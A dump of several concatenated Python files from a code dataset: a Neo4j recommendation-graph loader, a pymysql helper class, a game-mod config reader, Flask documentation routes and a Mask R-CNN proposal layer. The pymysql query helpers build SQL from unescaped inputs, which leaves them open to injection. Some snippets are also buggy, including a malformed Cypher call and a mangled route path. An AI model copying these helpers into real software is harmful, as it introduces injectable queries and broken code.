LOAD TRANSACTIONS\n //=================================\n LOAD CSV WITH HEADERS FROM 'file:///$file_path' AS row\n WITH row.u1_agentid AS u1_agentid,\n row.u1_reference as u1_reference,\n row.tranid AS tranid, \n toFloat(row.amount) AS amount, \n row.tran_type as tran_type,\n row.u2_agentid as u2_agentid,\n row.u2_reference as u2_reference\n MATCH (u1:Agent {agentid: u1_agentid})\n MATCH (u2:Agent {agentid: u2_agentid})\n MERGE (u1)-[rel:TRANSACTION {u1_reference: u1_reference, tranid : tranid , amount: amount, tran_type: tran_type, u2_reference:u2_reference}]->(u2)\n RETURN count(rel)'''.replace('file:///$file_path', file_path)\n tx.run(query)\n print('Loading Trans list: {}'.format(file_path))\n \n @staticmethod\n def createGraph(tx):\n query = '''\n //=================================\n //CREATE (temporary) GRAPH\n //=================================\n CALL gds.graph.create('recommendv4', 'Agent', 'TRANSACTION', {\n nodeProperties: ['in_degree', 'out_degree','page_rank']\n })\n YIELD graphName, nodeCount, relationshipCount'''\n tx.run(query)\n print('Creating temp graph...')\n \n @staticmethod\n def runEmbedding(tx):\n query = '''\n //=================================\n //NODE EMBEDDING\n //=================================\n CALL gds.alpha.graphSage.write(\n 'recommendv4',\n {\n writeProperty: 'embedding',\n nodePropertyNames: ['in_degree', 'out_degree', 'page_rank'],\n aggregator: 'mean',\n activationFunction: 'sigmoid',\n embeddingSize: 15,\n sampleSizes: [25, 1000],\n batchSize: 1000,\n epochs: 100,\n degreeAsProperty: true\n }\n ) YIELD startLoss, epochLosses'''\n tx.run(query)\n print('Start embedding nodes...')\n\n @staticmethod\n def loadProducts(tx, file_path):\n query = '''\n //=================================\n //== LOAD PRODUCTS\n //=================================\n\n LOAD CSV WITH HEADERS FROM 'file:///$file_path' AS row\n WITH row.product AS product\n MERGE (p:Product {product: product})\n SET p.product = product\n RETURN count(p)'''.replace('file:///$file_path', file_path)\n try: \n tx.run(query)\n print('Loading Product list: {}'.format(file_path))\n except ServiceUnavailable as exception:\n logging.error(\"{query} raised an error: \\n {exception}\".format(\n query=query, exception=exception))\n raise\n \n\n @staticmethod\n def createTotalAmt(tx):\n query = '''\n //=================================\n //== CREATE TOTAL_AMT\n //=================================\n\n MATCH (u:Agent),(p:Product)\n where EXISTS( (u)-[:TRANSACTION {tran_type: p.product}]->() )\n CREATE (u)-[r:TOTAL_AMT]->(p)\n RETURN type(r)'''\n try: \n tx.run(query)\n print('Creating Total amount (relationship)...')\n except ServiceUnavailable as exception:\n logging.error(\"{query} raised an error: \\n {exception}\".format(\n query=query, exception=exception))\n raise\n\n @staticmethod\n def updateTotalAmt(tx):\n query = '''\n //=================================\n //UPDATE TOTAL_AMT\n //=================================\n MATCH (u:Agent)-[t:TRANSACTION]-()\n with u.agentid as id, t.tran_type as prod, sum(t.amount) as TPV\n match (u:Agent)-[r:TOTAL_AMT]->(p:Product) where u.agentid = id and p.product = prod\n set r.amount = TPV\n return u.agentid , r.amount, p.product'''\n try: \n tx.run(query)\n print('Updating Total amount (relationship)...')\n except ServiceUnavailable as exception:\n logging.error(\"{query} raised an error: \\n {exception}\".format(\n query=query, exception=exception))\n raise\n\n @staticmethod\n def calculateSimilarity(tx):\n query = '''\n //=================================\n //CALCUALTE PEARSON SIMILARITY USING NEO4J PROCEDURE\n //=================================\n\n MATCH (u:Agent), (p:Product)\n OPTIONAL MATCH (u)-[r:TOTAL_AMT]->(p) where p.product <> \"adjustment\"\n WITH {item:id(u), weights: collect(coalesce(r.amount, 0))} AS userData\n WITH collect(userData) AS data\n CALL gds.alpha.similarity.pearson.write({\n data: data,\n topK: 1,\n similarityCutoff: -1)\n YIELD nodes, similarityPairs, writeRelationshipType, writeProperty, min, max, mean, stdDev, p25, p50, p75, p90, p95, p99, p999, p100\n RETURN nodes, similarityPairs, writeRelationshipType, writeProperty, min, max, mean, p95'''\n try: \n tx.run(query)\n print('Calculating and writing Similarity (relationship)...')\n except ServiceUnavailable as exception:\n logging.error(\"{query} raised an error: \\n {exception}\".format(\n query=query, exception=exception))\n raise\n\n @staticmethod\n def createSimilarEBD(tx):\n query = '''\n //=================================\n //CREATE SIMILAR_EBD (use embedding as Vector)\n //=================================\n\n MATCH (u1:Agent),(u2:Agent)\n where EXISTS( (u1)-[:SIMILAR]->(u2) )\n CREATE (u1)-[r:SIMILAR_EBD]->(u2)\n RETURN type(r)'''\n try: \n tx.run(query)\n print('Creating new Simillar_EBD (relationship)...')\n except ServiceUnavailable as exception:\n logging.error(\"{query} raised an error: \\n {exception}\".format(\n query=query, exception=exception))\n raise\n \n @staticmethod\n def updateSimilarityEBD(tx):\n query = '''\n //=================================\n // UPDATE SIMILAR_EBD \n //=================================\n //Pearson similarity\n match (u1:Agent)-[r:SIMILAR_EBD]-(u2:Agent)\n with u1.agentid as u1_agentid, r, \n [u1.embedding[0], u1.embedding[1], u1.embedding[2], u1.embedding[3], u1.embedding[4], u1.embedding[5], \n u1.embedding[6], u1.embedding[7], u1.embedding[8], u1.embedding[9], u1.embedding[10],\n u1.embedding[11], u1.embedding[12], u1.embedding[13], u1.embedding[14]] as u1_embedding, \n u2.agentid as u2_agentid, \n [u2.embedding[0], u2.embedding[1], u2.embedding[2], u2.embedding[3], u2.embedding[4], u2.embedding[5], \n u2.embedding[6], u2.embedding[7], u2.embedding[8], u2.embedding[9], u2.embedding[10],\n u2.embedding[11], u2.embedding[12], u2.embedding[13], u2.embedding[14]] as u2_embedding\n with u1_agentid, u2_agentid, r, gds.alpha.similarity.pearson(u1_embedding, u2_embedding) as similarity \n set r.score = similarity\n return u1_agentid , r.score, u2_agentid'''\n try: \n tx.run(query)\n print('Updating Simillar_EBD (relationship)...')\n except ServiceUnavailable as exception:\n logging.error(\"{query} raised an error: \\n {exception}\".format(\n query=query, exception=exception))\n raise\n \ndef run_all(load_user = True, load_trans = True, create_graph = True, node_embedding = True, \n load_product = True, create_totalamt = True, update_totalamt = True, \n calculate_similarity = True, create_similar_ebd = True, update_similar_ebd = True):\n #0 Start driver\n # print('*'*20)\n loader = Loader()\n user_path = 'agent.csv'\n trans_paths = ['file:///transaction_1.csv', 'file:///transaction_2.csv']\n product_path = 'file:///product.csv'\n #1 Load Users \n if load_user:\n with loader.driver.session() as session:\n print('*'*20)\n session.write_transaction(loader.loadUsers, user_path)\n print('Done loading {}!'.format(user_path))\n #2 Load Transaction \n if load_trans:\n for trans_path in trans_paths:\n with loader.driver.session() as session:\n print('*'*20)\n session.write_transaction(loader.loadTrans, trans_path)\n print('Done loading {}!'.format(trans_path))\n #3 Create temp graph\n if create_graph:\n with loader.driver.session() as session:\n print('*'*20)\n session.write_transaction(loader.createGraph)\n print('Done creating temp graph!')\n #4 Node embedding \n if node_embedding:\n with loader.driver.session() as session:\n print('*'*20)\n session.write_transaction(loader.runEmbedding)\n print('Done embedding nodes!')\n #5 Load Products \n if load_product:\n with loader.driver.session() as session:\n print('*'*20)\n session.write_transaction(loader.loadProducts, product_path)\n print('Done loading {}!'.format(product_path))\n\n #6 Create Total amount\n if create_totalamt:\n with loader.driver.session() as session:\n print('*'*20)\n session.write_transaction(loader.createTotalAmt)\n print('Done creating Total amount (relationship)!')\n\n #7 Update Total amount\n if update_totalamt:\n with loader.driver.session() as session:\n print('*'*20)\n session.write_transaction(loader.updateTotalAmt)\n print('Done updating Total amount (relationship)!')\n\n #8 Calculate and Write Similarity\n if calculate_similarity:\n with loader.driver.session() as session:\n print('*'*20)\n session.write_transaction(loader.calculateSimilarity)\n print('Done calculating and writing Similarity (relationship)!')\n\n #9 Creat new Simillar_EBD relationships based on Similar relationships created above \n if create_similar_ebd:\n with loader.driver.session() as session:\n print('*'*20)\n session.write_transaction(loader.createSimilarEBD)\n print('Done creating new Simillar_EBD (relationship)!')\n \n #10 Updating Simillar_EBD relationships based on embedded vectors \n if create_similar_ebd:\n with loader.driver.session() as session:\n print('*'*20)\n session.write_transaction(loader.createSimilarEBD)\n print('Done updating Simillar_EBD (relationship)!')\n \n\n #-1 Close driver\n loader.close()\n\n\nif __name__ == \"__main__\":\n run_all(\n load_user = False, \n load_trans = False, \n create_graph = False, \n node_embedding = False, \n load_product = False,\n create_totalamt = False,\n update_totalamt = False,\n calculate_similarity = False,\n create_similar_ebd = True,\n update_similar_ebd = False\n )\n","repo_name":"khanhbrandy/Graph_based_recommendation","sub_path":"sample_network/1.2_Load_graph/loader.py","file_name":"loader.py","file_ext":"py","file_size_in_byte":13155,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"69995801159","text":"import pymysql.cursors\n\nimport config\n'''\n将数据存入数据库模块\n'''\n\n\n\n\nclass DbToMysql():\n '''封装对数据库的操作'''\n\n def __init__(self, configs):\n self.con = pymysql.connect(\n host=configs['host'],\n port=configs['port'],\n user=configs['user'],\n password=configs['password'],\n db=configs['db'],\n charset='utf8mb4',\n cursorclass=pymysql.cursors.DictCursor\n )\n\n def close(self):\n '''关闭数据库链接'''\n self.con.close()\n\n def save_one_data(self, table, data,):\n '''\n 将一条记录保存到数据库\n Args:\n table: 表名字 str\n data: 记录 dict\n return:\n 成功: dict 保存的记录\n 失败: -1\n 每条记录都以一个字典的形式传进来\n '''\n key_map = {}\n if len(data) == 0:\n return -1\n fields = ''\n values = ''\n datas = {}\n for k, v in data.items():\n # 防止sql注入\n if type(v)== str:\n datas.update({k: pymysql.escape_string(v)})\n elif v is None:\n # datas.update({k: v})\n None\n else:\n datas.update({k: v})\n\n for d in datas:\n fields += \"`{}`,\".format(str(d))\n # values += \"'{}',\".format(str(datas[d]))\n if type(datas[d]) == int:\n values += \"{},\".format(datas[d])\n elif type(datas[d]) == bool:\n values += \"{},\".format(datas[d])\n else:\n values += \"'{}',\".format(str(datas[d]))\n\n if len(fields) <= 0 or len(values) <= 0:\n return -1\n # 生成sql语句\n sql = \"insert into {}({}) values({})\".format(\n table, fields[:-1], values[:-1])\n\n try:\n with self.con.cursor() as cursor:\n # 执行语句\n cursor.execute(sql)\n self.con.commit()\n res = cursor.fetchone()\n return res\n except AttributeError as e:\n print('数据库保存错误', e, sql)\n return -1\n except Exception as e:\n print('数据库保存错误', e, sql)\n # finally:\n # self.close()\n\n def find_all(self, table, limit):\n '''\n 从数据库里查询所有记录\n Args:\n table: 表名字 str\n limit: 限制数量\n return:\n 成功: [dict] 保存的记录\n 失败: -1\n '''\n try:\n with self.con.cursor() as cursor:\n sql = \"select * from {} limit 0,{}\".format(table, limit)\n cursor.execute(sql)\n res = cursor.fetchall()\n return res\n except:\n print('数据查询存错误')\n return -1\n finally:\n self.close()\n\n def find_by_field(self, table, field, field_value):\n '''\n 从数据库里查询指定条件的记录\n Args:\n table: 表名字 str\n field: 字段名\n field_value: 字段值\n return:\n 成功: [dict] 保存的记录\n 失败: -1\n '''\n try:\n with self.con.cursor() as cursor:\n sql = \"select * from {} where {} = '{}'\".format(\n table, field, field_value)\n cursor.execute(sql)\n res = cursor.fetchall()\n return res\n except:\n print('数据查询存错误')\n return -1\n finally:\n self.close()\n\n def find_by_fields(self, table, queryset={}):\n '''\n 从数据库里查询 符合多个条件的记录 \n Args:\n table: 表名字 str\n queryset : key 字段 value 值 dict\n return:\n 成功: [dict] 保存的记录\n 失败: -1\n '''\n\n try:\n with self.con.cursor() as cursor:\n querrys = \"\"\n for k, v in queryset.items():\n querrys += \"{} = '{}' and \".format(k, v)\n sql = \"select * from {} where {} \".format(\n table, querrys[:-4])\n cursor.execute(sql)\n res = cursor.fetchall()\n return res\n except:\n print('数据查询存错误')\n return -1\n finally:\n self.close()\n \n\n def find_by_sort(self, table, field, limit=1000, order='DESC'):\n '''\n 从数据库里查询排序过的数据\n Args:\n table: 表名字 str\n field: 字段名\n limit: 限制数量\n order: 降序DESC/升序ASC 默认为降序\n return:\n 成功: [dict] 保存的记录\n 失败: -1\n '''\n try:\n with self.con.cursor() as cursor:\n sql = \"select * from {} order by {} {} limit 0,{}\".format(\n table, field, order, limit)\n cursor.execute(sql)\n res = cursor.fetchall()\n return res\n except:\n print('数据查询存错误')\n return -1\n finally:\n self.close()\n\n def query(self, sql):\n '''\n 根据sql查询\n Args:\n sql: sql 语句 str\n return:\n 成功: 查询的结果\n 失败: -1 并打印返回报错信息\n '''\n\n try:\n with self.con.cursor() as cursor:\n # 执行语句\n\n cursor.execute(sql)\n self.con.commit()\n res = cursor.fetchall()\n return res\n except Exception as e:\n print('query 数据库查询错误', e, sql)\n return []\n # finally:\n # self.close()","repo_name":"luolf/pythonProject","sub_path":"ins-col/dal/store.py","file_name":"store.py","file_ext":"py","file_size_in_byte":5968,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"37447136453","text":"import logging\nimport BigWorld\nimport string\nfrom ConfigParser import ConfigParser\nimport ResMgr\nimport os\n\nfrom mod_Vanillifer_Config_Default import applyDefaultConfig\n\ndef GetModsDirectory():\n paths = '../paths.xml'\n paths = ResMgr.openSection(paths)\n moddir = os.path.join(os.getcwd(), paths['Paths'].values()[1].readString(''))\n moddir = moddir.replace('\\\\./','\\\\')\n return moddir\n\nclass VanilliferConfig():\n\n def __init__(self, _logger):\n\n self._logger = _logger\n\n self.configFile, localConfigFile = self.prepareFile()\n\n self.config = ConfigParser()\n self.config.optionxform = str\n\n self.readConfig(localConfigFile)\n\n self.prepareSections()\n\n def readConfig(self, localConfigFile):\n #prioritize config outside of versioned directory\n if os.path.isfile(self.configFile):\n self._logger.info('Reading Vanillifer config from ' + self.configFile)\n self.config.read(self.configFile)\n #try to load bundled config if no global present\n elif os.path.isfile(localConfigFile):\n self._logger.info('Reading Vanillifer config from ' + localConfigFile)\n self.config.read(localConfigFile)\n else:\n applyDefaultConfig(self._logger, self)\n\n def prepareFile(self):\n cwd = os.getcwd()\n\n configFileName = 'Vanillifer.ini'\n configDirectory = os.path.join(cwd, 'mods', 'config')\n configFile = os.path.join(configDirectory, configFileName)\n localConfigFile = os.path.join(GetModsDirectory(), configFileName)\n try: \n os.makedirs(configDirectory)\n except OSError:\n if not os.path.isdir(configDirectory):\n raise\n\n return configFile, localConfigFile\n\n def prepareSections(self):\n sections = self.config.sections()\n \n self.ensureSectionExists('silhouetteColors')\n\n self.ensureSectionExists('adblock')\n self.ensureSectionExists('dogtags')\n self.ensureSectionExists('badges')\n self.ensureSectionExists('marathon')\n \n self.ensureSectionExists('modelOverrides')\n self.ensureSectionExists('camouflageOverrides')\n self.ensureSectionExists('styleOverrides')\n self.ensureSectionExists('paintOverrides')\n \n self.ensureSectionExists('originalModels')\n self.ensureSectionExists('originalCamouflages')\n self.ensureSectionExists('originalStyles')\n self.ensureSectionExists('originalPaints')\n\n def stringListValue(self, section, field):\n rawList = self.tryGetValue(section, field, default = '')\n result = [x.strip() for x in rawList.split(',')]\n return result\n\n def boolValue(self, section, field):\n return self.tryGetValue(section, field, default = 'false').lower() == \"true\"\n def tryGetValue(self, section, field, default = None, saveDefault = False):\n if self.config.has_option(section, field):\n result = self.config.get(section, field)\n else:\n if saveDefault:\n self.setValue(section, field, default)\n result = default\n\n #ignore nonstandard inline comment\n if result:\n result = result.split(';')[0].strip()\n\n return result\n\n def ensureSectionExists(self, section): \n if not section in self.config.sections():\n self.config.add_section(section)\n\n def setValue(self, section, field, value): \n self.ensureSectionExists(section)\n self.config.set(section, field, value)\n \n def disableMarathonAdvertBox(self):\n return self.boolValue('marathon', 'hideAdvert')\n def disableMarathonBackgroundMusic(self):\n return self.boolValue('marathon', 'disableMusic')\n\n def disableDogTags(self):\n return self.boolValue('dogtags', 'disable')\n def disableBadges(self):\n return self.boolValue('badges', 'disable')\n\n def disableGoldfish(self):\n return self.boolValue('adblock', 'disable_goldfish')\n def disableCraftmachine(self):\n return self.boolValue('adblock', 'disable_craftmachine')\n def disableMapBox(self):\n return self.boolValue('adblock', 'disable_mapbox')\n def adblockWhitelistEnabled(self):\n return self.boolValue('adblock', 'entrypoint_whitelist_enabled')\n def adblockWhitelist(self):\n return self.stringListValue('adblock', 'entrypoint_whitelist')\n\n def saveConfig(self):\n with open(self.configFile, 'w') as updatedConfig:\n self._logger.info('Writing Vanillifer config to ' + self.configFile)\n self.config.write(updatedConfig)","repo_name":"PTwr/WoT_Vanillifer","sub_path":"src/scripts/client/gui/mods/mod_Vanillifer_Config.py","file_name":"mod_Vanillifer_Config.py","file_ext":"py","file_size_in_byte":4639,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"21099597573","text":"# -*- coding: utf-8 -*-\r\n# Module 'docs.py' of the project 'tingerwork'\r\n# :date_create: 04.12.2017.1:33\r\n# :author: Tingerlink\r\n# :description:\r\n\r\nfrom flask_classy import route, request\r\nfrom flask_classy import FlaskView\r\nfrom flask import jsonify, render_template\r\nfrom tools import yaml_linker\r\nfrom config import settings\r\n\r\n\r\nclass Index(FlaskView):\r\n route_base = '/'\r\n\r\n @route(\"/\", methods=[\"GET\"])\r\n def docs_start(self):\r\n params = {\r\n \"title\": \"API Tingerwork\"\r\n }\r\n return render_template(\"docs/pages/index.html\", **params)\r\n\r\n\r\n\r\n\r\n @route(\"/docs/web/schema/methods\", methods=[\"GET\"])\r\n def docs_schema_methods(self):\r\n short = request.args.get('short')\r\n if short:\r\n data = yaml_linker.get_short_methods()\r\n else:\r\n data = yaml_linker.get_methods()\r\n\r\n return jsonify(data)\r\n\r\n\r\n @route(\"/docs/platforms/web//\", methods=[\"GET\"])\r\n def method(self):\r\n params = {\r\n \"title\": \"API common info\",\r\n \"host_ip\": settings.HOST_IP\r\n }\r\n return render_template(\"docs/web.html\", **params)\r\n","repo_name":"Tingerlink/tingerwork","sub_path":"app/routes/docs.py","file_name":"docs.py","file_ext":"py","file_size_in_byte":1170,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"7673449899","text":"'''\nTill this point We have already performed the FPN(feature pyramid network) and \"Region Proposal Network\". As an output from the RPN net we have:\n 1. rpn_class_logits: [batch_size, pixel_position * num_anchor, 2]:\n This gives a binary outcome, if an anchor at a pixel for a image is foreground or background\n 2. rpn_class_logits: [batch_size, pixel_position * num_anchor, 2]:\n This are just sigmoid outcomes of the Logits\n 3. rpn_bbox: [batch_size, pixel_position * num_anchors, 4]:\n This outputs continuous values that outputs the bounding box of the anchors\n \nProblem: For 1 pixel position we can have multiple anchors that can qualify as a bounding box for an object. Therefore in this module we take care of overlaps and select only the bounding box that has high IOU. This is also implemented using non-max supression.\n\n'''\n\n\nimport tensorflow as tf\nimport numpy as np\nimport logging\n\nlogging.basicConfig(level=logging.DEBUG, filename=\"logfile.log\", filemode=\"w\",\n format=\"%(asctime)-15s %(levelname)-8s %(message)s\")\n\n\ndef apply_box_deltas(pre_nms_anchors, bbox_delta):\n '''\n Applying Box Deltas to Anchors\n\n pre_nms_anchors = [num_batches, num_anchors, (y1, x1, y2, x2)]\n self.bbox_delta = [num_batches, num_anchors, (d(c_y), d(c_x), log(h), log(w))]\n\n _____________ (x2, y2)\n | |\n | |\n | |\n | |\n | |\n (x1,y1) -------------\n\n Since our predictions are normalized and are in the form of [d(c_y), d(c_x), log(h), log(w)],\n we first convert our anchors to the form of [center_y, center_x, h, w] and then apply box deltas (to\n normalize anchors that have un-normalized coordinate values). After this we convert the pre_nms_anchors back\n to the\n original shape of [num_batches, num_anchors, (y1, x1,y2, x2)]\n\n :return:\n '''\n height = pre_nms_anchors[:, :, 2] - pre_nms_anchors[:, :, 0]\n width = pre_nms_anchors[:, :, 3] - pre_nms_anchors[:, :, 1]\n center_y = pre_nms_anchors[:, :, 0] + 0.5 * height\n center_x = pre_nms_anchors[:, :, 1] + 0.5 * width\n\n # Apply Box Delta (A)\n center_y += bbox_delta[:, :, 0] * height\n center_x += bbox_delta[:, :, 1] * width\n height *= tf.exp(bbox_delta[:, :, 2])\n width *= tf.exp(bbox_delta[:, :, 3])\n\n # Convert back to (y1, x1, y2, x2)\n y1 = center_y - 0.5 * height\n x1 = center_x - 0.5 * width\n y2 = y1 + height\n x2 = x1 + width\n\n out = tf.stack([y1, x1, y2, x2], axis=1, name=\"apply_box_deltas_out\")\n out = tf.transpose(out, [0, 2, 1]) #\n return out\n\ndef clip_boxes_to_01(anchor_delta, window):\n \"\"\"\n Clips Boxes within the range 0,1\n\n :param box_delta: The anchor per pixel position boxes for each batch with 4 pixel coordinates.\n :param window: THe min and max coordinates of window (We use this because our predictions should lie i 0,\n 1 range)\n :return:\n\n The idea is pretty basic here:\n 1. We split the coordinates.\n 2. Check if they lie in the window range, if not make them lie\n 3. Then concat them back to the original shape\n More over bring the box coordinate prediction to the range of [0,1] also helps us performing the next\n step i.e\n non-max suppression\n \"\"\"\n\n # Window: [0,0,1,1] # 0,0 represents the top left corner and 1,1 represents the bottom right corner\n wy1, wx1, wy2, wx2 = tf.split(window, 4)\n y1, x1, y2, x2 = tf.split(anchor_delta, 4, axis=2)\n\n y1 = tf.maximum(tf.minimum(y1, wy2), wy1)\n x1 = tf.maximum(tf.minimum(x1, wx2), wx1)\n y2 = tf.maximum(tf.minimum(y2, wy2), wy1)\n x2 = tf.maximum(tf.minimum(x2, wx2), wx1)\n\n return tf.concat([y1, x1, y2, x2], axis=2, name=\"clipped_boxes\")\n \n \n \nclass Proposals():\n '''\n The input to this network is:\n rpn_class_probs: [num_batches, anchor, [back_ground_probability, fore_ground_probability]]\n '''\n def __init__(self, conf, batch_size, rpn_class_probs=None, rpn_bbox=None, inp_anchors=None,\n training=False, DEBUG=False):\n \n if rpn_class_probs is not None:\n self.rpn_class_probs = rpn_class_probs\n else:\n self.rpn_class_probs = tf.placeholder(dtype=tf.float32, shape=[None, None, 2], name=\"rpn_class_prob\")\n \n if rpn_bbox is not None:\n self.rpn_bbox = rpn_bbox\n else:\n self.rpn_bbox = tf.placeholder(dtype=tf.float32, shape=[None, None, 4], name=\"rpn_bbox\")\n\n if inp_anchors is not None:\n self.input_anchors = inp_anchors\n else:\n self.input_anchors = tf.placeholder(dtype=tf.float32, shape=[None, None, 4], name=\"input_anchors\")\n\n self.DEBUG = DEBUG\n \n self.rpn_bbox_stddev = conf.RPN_BBOX_STDDEV\n\n self.num_box_before_nms = conf.PRE_NMS_ROIS_COUNT\n if training:\n self.num_boxes_after_nms = conf.POST_NMS_ROIS_TRAINING # 4\n else:\n self.num_boxes_after_nms = conf.POST_NMS_ROIS_INFERENCE # 4\n self.iou_threshold = conf.RPN_NMS_THRESHOLD # 0.3\n self.batch_size = batch_size\n \n self.build()\n \n\n def build(self):\n \"\"\"\n Main function : required to get the filtered box (proposals)\n\n :param config:\n :param batch_size:\n inputs:\n (1, 196608, 2) (1, 196608, 2) (1, 196608, 4)\n * rpn_class_probs: [batch, anchors, (bg prob, fg prob)]\n say for one image with 256x256 feature map and 3 anchors (dim rpn_class_probs)= (1,196608, 2)\n * rpn_bbox: [batch, anchors, (dy, dx, log(dh), log(dw))]\n say for one image with 256x256 feature map and 3 anchors (dim rpn_bbox)= (1, 196608, 4)\n * anchors: [batch, (y1, x1, y2, x2)] anchors in normalized coordinates\n :return:\n \"\"\"\n \n # We would like to only capture the foreground class probabilities\n scores = self.rpn_class_probs[:, :, 1]\n logging.info('Foreground_probs shape: %s', str(scores.shape))\n \n # Box deltas = [batch, num_rois, 4]\n bbox_delta = self.rpn_bbox * np.reshape(self.rpn_bbox_stddev, [1, 1, 4])\n logging.info('bbox_delta shape: %s', str(bbox_delta.shape))\n \n # Get the anchors [None, 2]\n anchors = self.input_anchors\n logging.info('anchors shape: %s', str(anchors.shape))\n \n # Searching through lots of anchors can be time consuming. So we would select at most top 6000 of them for further processing [anchors = [num_batches, num_anhcors, 4]]\n max_anc_before_nms = tf.minimum(self.num_box_before_nms, tf.shape(anchors)[1])\n logging.info('max_anc_before_nms shape: %s', str(max_anc_before_nms))\n \n # Here we fetch the idx of the top 6000 anchors\n ix = tf.nn.top_k(scores, max_anc_before_nms, sorted=True, name=\"top_anchors\").indices\n logging.info('ix shape: %s', str(ix.get_shape().as_list()))\n \n # Now that we have the idx of the top anchors we would want to only gather the data pertaining to\n # those idx. We would wanna gather foreground_prob and boxes only for the selected anchors.\n # scores = tf.gather_nd(scores, ix)\n scores, bbox_delta, anchors = self.gather_data_for_idx(ix, scores, bbox_delta, anchors)\n\n # Convert Anchors [batch_size, num_anchors, (y1, x1, y2, x2)] from normalized coordinate to\n # [batch_size, num_anchors, (c_dy, c_dx, log(dh), log(dy)]\n anchor_delta = apply_box_deltas(anchors, bbox_delta)\n \n # The boxes can have values at the interval of 0,1\n window = np.array([0, 0, 1, 1], dtype=np.float32)\n self.anchor_delta_clipped = clip_boxes_to_01(anchor_delta=anchor_delta, window=window)\n \n # Perform Non-max suppression. Non max suppression is performed for one image at a time, so we loop over the\n # images here and stack them at the end\n # TODO: WHY PROPOSALS AT RANDOM INITIALIZATION SOMETIMES CONTAINS NaN VALUES. It makes sense why, but deeper understanding is needed. However this works fine with pretrained weights.\n self.proposals = tf.concat([\n tf.stack([\n self.non_max_suppression(scores[num],\n self.anchor_delta_clipped[num],\n max_boxes=self.num_boxes_after_nms,\n iou_threshold=self.iou_threshold)\n ], axis=0, name='nms_%s' % str(num)\n ) for num in range(0, self.batch_size)], axis=0, name='concat_boxes'\n )\n \n logging.info('bx_nw shape: %s', str(self.proposals.get_shape().as_list()))\n \n print ('(Proposals) Proposals (shape) ', self.proposals.shape)\n\n if self.DEBUG:\n print ('Proposal DEBUG ................')\n # Sometimes due to random initialization the proposal can have NaN value\n # For simplicity we replace those values with 0\n self.proposals = tf.where(\n tf.is_nan(self.proposals),\n tf.zeros(shape=tf.shape(self.proposals), dtype=tf.float32),\n self.proposals)\n self.bbox_delta = bbox_delta\n self.ix = ix\n self.scores = scores\n self.anchors = anchors\n self.anchor_delta = anchor_delta\n \n \n\n def non_max_suppression(self, scores, proposals, max_boxes=2, iou_threshold=0.7):\n \"\"\"\n Applies Non-max suppression (NMS) to set of boxes\n\n Arguments:\n scores -- tensor of shape (None,),\n boxes -- tensor of shape (None, 4), [y1, x1, y2, x2] where (y1, x1) are diagonal coordinates to (y2, x2)\n max_boxes -- integer, maximum number of predicted boxes you'd like\n iou_threshold -- real value, \"intersection over union\" threshold used for NMS filtering\n\n Returns:\n boxes -- tensor of shape (4, None), predicted box coordinates\n\n \"\"\"\n \n # Use tf.image.non_max_suppression() to get the list of indices corresponding to boxes you keep\n nms_indices = tf.image.non_max_suppression(proposals,\n scores,\n max_output_size=max_boxes,\n iou_threshold=iou_threshold,\n name='activeBox_indice')\n\n proposals = tf.gather(proposals, nms_indices)\n\n # Sometimes due to the threshold set some batches may return num_proposals < num_boxes_after_nms\n # Such a case would make inconsitent proposal shape across different batches. Inorder to overcome this\n # problem, we pad the proposals with additional [0,0,0,0]\n padding = tf.maximum(self.num_boxes_after_nms - tf.shape(proposals)[0], 0)\n proposals = tf.pad(proposals, [(0, padding), (0, 0)])\n return proposals\n\n def gather_data_for_idx(self, ix, scores, bbox_delta, anchors):\n '''\n Gathers data given indexes\n\n :param ix: Indexes of top 6000 anchors that have high foreground probability\n :param boxes:\n :return:\n\n Say:\n\n Problem:\n ix = [[2,1,0],[0,1,3]] : this says the indices that are to be selected\n boxes = [2, 5, 4] 2 (num batches), 5 (anchor_per_pixel_position), 4 (cx,cy,w,h)\n\n Solution:\n The idea is to select 3 anchor_per_pixel_position out of all the 5, so we need a output thats\n boxes = [2,3,4], also we know that the 5 selection should be the indices 6,1,0\n This function is used to achieve it.\n\n How it works,\n Say boxes = (2,5,4) [[[ 0.66850033 0.05690038 0.83834532 0.61043739]\n [ 0.96072494 0.90195686 0.38814074 0.09934505]\n [ 0.70222181 0.64386777 0.27915297 0.76483525]\n [ 0.32436762 0.09989426 0.42256737 0.24381131]\n [ 0.35363515 0.45314872 0.19147657 0.49124077]]\n\n [[ 0.26162598 0.89599185 0.74032475 0.15512492]\n [ 0.44482893 0.65829518 0.99109874 0.38420606]\n [ 0.74626909 0.68953617 0.419537 0.73916023]\n [ 0.72346939 0.96696021 0.90526521 0.65514771]\n [ 0.10160118 0.89592455 0.11942481 0.7416876 ]]]\n Say ix = (2,3) = [[2 1 0]\n [0 1 3]]\n\n Then tf.range(ix.get_shape().as_list()[1] = [0,1,2]\n tf.range(ix.get_shape().as_list()[1] = [0,1]\n\n Then mesh = (2, 3) [[0 0 0]\n [1 1 1]]\n\n Then ixs =(2,3,2) [[[0 2] # says to select the 2 index of 0 image\n [0 1] # says to select the 2 index of 0 image\n [0 0]] # says to select the 0 index of 0 image\n\n [[1 0] # says to select the 0 index of 1 image\n [1 1] # says to select the 1 index of 1 image\n [1 3]]] # says to select the 3 index of 1 image\n '''\n \n mesh = tf.meshgrid(tf.range(tf.shape(ix)[1]), tf.range(tf.shape(ix)[0]))[1]\n ixs = tf.stack([mesh, ix], axis=2)\n \n # Gather only the data pertaining to the ixs\n scores = tf.gather_nd(scores, ixs)\n logging.info('scores shape = %s', str(scores.shape))\n \n # Gather only the data pertaining to the ixs\n bbox_delta = tf.gather_nd(bbox_delta, ixs)\n logging.info('Box delta shape = %s', str(bbox_delta.shape))\n \n # Gather only the data pertaining to the ixs\n anchors = tf.gather_nd(anchors, ixs)\n logging.info('anchors shape = %s', str(anchors.shape))\n\n return scores, bbox_delta, anchors\n \n def get_proposals(self):\n return self.proposals\n \n def get_proposal_graph(self):\n return dict(rpn_class_probs=self.rpn_class_probs, rpn_bbox=self.rpn_bbox,\n input_anchors=self.input_anchors, proposals=self.proposals)\n \n def get_anchors_delta_clipped(self):\n return self.anchor_delta_clipped\n \n def debug_outputs(self):\n return self.bbox_delta, self.ix, self.scores, self.anchors, self.anchor_delta\n \n\n\n\ndef 